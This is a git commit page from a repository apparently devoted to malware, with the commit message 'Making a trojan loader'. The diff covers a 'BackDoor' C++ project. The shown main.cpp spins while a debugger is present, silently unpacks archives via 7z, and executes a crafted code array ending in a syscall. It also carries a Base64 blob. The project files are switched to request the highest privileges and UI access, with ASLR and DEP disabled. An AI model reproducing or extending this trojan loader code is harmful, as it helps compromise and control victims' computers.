Jiga228/Malwere
0
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Делаю загрузчик трояна

Browse Source
This commit is contained in:
Данил
2024-09-03 20:30:55 +07:00
parent a5bc6af93b
commit 464c7094c9
53 changed files with 66 additions and 55 deletions
Download Patch File Download Diff File Expand all files Collapse all files
BackDoor/main/CoreDLL.dll
BIN
View File
Binary file not shown.
BackDoor/main/NetDLL.dll
BIN
View File
Binary file not shown.
BackDoor/main/main.cpp
+1 -4
View File
@@ -1,15 +1,13 @@
const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0=";
#include <Windows.h>
#include "Virtualisetion.h"
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR lpCmdLine, int nCmdShow)
//int main()
{
while(IsDebuggerPresent()) {}
system("7z.exe x main.ar -y");
system("7z.exe x module.ar -y");
const int SizeCode = 25;
char Code[SizeCode] = {
@@ -25,6 +23,5 @@ int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
Syscall
};
VirtualStart(Code, SizeCode);
return 0;
}
BackDoor/main/main.vcxproj
+8 -8
View File
@@ -111,9 +111,9 @@
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AllowIsolation>false</AllowIsolation>
<UACUIAccess>false</UACUIAccess>
<UACUIAccess>true</UACUIAccess>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<AdditionalDependencies>$(CoreLibraryDependencies);%(AdditionalDependencies)</AdditionalDependencies>
@@ -158,9 +158,9 @@
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AllowIsolation>false</AllowIsolation>
<UACUIAccess>false</UACUIAccess>
<UACUIAccess>true</UACUIAccess>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<AdditionalDependencies>$(CoreLibraryDependencies);%(AdditionalDependencies)</AdditionalDependencies>
@@ -198,9 +198,9 @@
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AllowIsolation>false</AllowIsolation>
<UACUIAccess>false</UACUIAccess>
<UACUIAccess>true</UACUIAccess>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<AdditionalDependencies>$(CoreLibraryDependencies);%(AdditionalDependencies)</AdditionalDependencies>
@@ -245,9 +245,9 @@
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<UACExecutionLevel>AsInvoker</UACExecutionLevel>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AllowIsolation>false</AllowIsolation>
<UACUIAccess>false</UACUIAccess>
<UACUIAccess>true</UACUIAccess>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<AdditionalDependencies>$(CoreLibraryDependencies);%(AdditionalDependencies)</AdditionalDependencies>
BackDoor/main/main.vcxproj.user
+1
View File
@@ -11,5 +11,6 @@
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerDebuggerType>Auto</LocalDebuggerDebuggerType>
</PropertyGroup>
</Project>
BackDoor/main/x64/Debug/main.log
+1 -5
View File
@@ -1,11 +1,7 @@
cl : командная строка warning D9035: использование параметра "Zc:forScope-" нежелательно, он будет удален в следующих выпусках
main.cpp
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(40,46): warning C4244: return: преобразование "__int64" в "int", возможна потеря данных
(компиляция исходного файла "main.cpp")
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(108,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных
(компиляция исходного файла "main.cpp")
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(90,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных
LINK : warning LNK4075: не учитывается "/INCREMENTAL" из-за спецификации "/OPT:REF"
main.obj : warning LNK4075: не учитывается "/EDITANDCONTINUE" из-за спецификации "/OPT:REF"
main.vcxproj -> D:\Projects\Malwere\x64\Debug\main.exe
BackDoor/main/x64/Debug/main.obj
BIN
View File
Binary file not shown.
BackDoor/main/x64/Debug/main.tlog/CL.read.1.tlog
BIN
View File
Binary file not shown.
BackDoor/main/x64/Debug/main.tlog/link.read.1.tlog
BIN
View File
Binary file not shown.
BackDoor/main/x64/Debug/main.tlog/main.lastbuildstate
+1 -1
View File
@@ -1,2 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0:
Debug|x64|D:\Projects\Malwere\|
BackDoor/main/x64/Debug/vc143.idb
BIN
View File
Binary file not shown.
BackDoor/main/x64/Debug/vc143.pdb
BIN
View File
Binary file not shown.
BackDoor/main/x64/Release/main.log
+1 -5
View File
@@ -1,10 +1,6 @@
cl : командная строка warning D9035: использование параметра "Zc:forScope-" нежелательно, он будет удален в следующих выпусках
main.cpp
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(40,46): warning C4244: return: преобразование "__int64" в "int", возможна потеря данных
(компиляция исходного файла "main.cpp")
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(96,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных
(компиляция исходного файла "main.cpp")
D:\Projects\Malwere\BackDoor\main\Virtualisetion.h(90,19): warning C4244: инициализация: преобразование "__int64" в "int", возможна потеря данных
LINK : указан параметр /LTCG, но не требуется создание кода; удалите /LTCG из командной строки компоновки для повышения производительности компоновщика
main.vcxproj -> D:\Projects\Malwere\x64\Release\main.exe
BackDoor/main/x64/Release/main.obj
BIN
View File
Binary file not shown.
BackDoor/main/x64/Release/main.tlog/CL.read.1.tlog
BIN
View File
Binary file not shown.
BackDoor/main/x64/Release/main.tlog/link.read.1.tlog
BIN
View File
Binary file not shown.
BackDoor/main/x64/Release/main.tlog/main.lastbuildstate
+1 -1
View File
@@ -1,2 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0:
Release|x64|D:\Projects\Malwere\|
BackDoor/main/x64/Release/vc143.pdb
BIN
View File
Binary file not shown.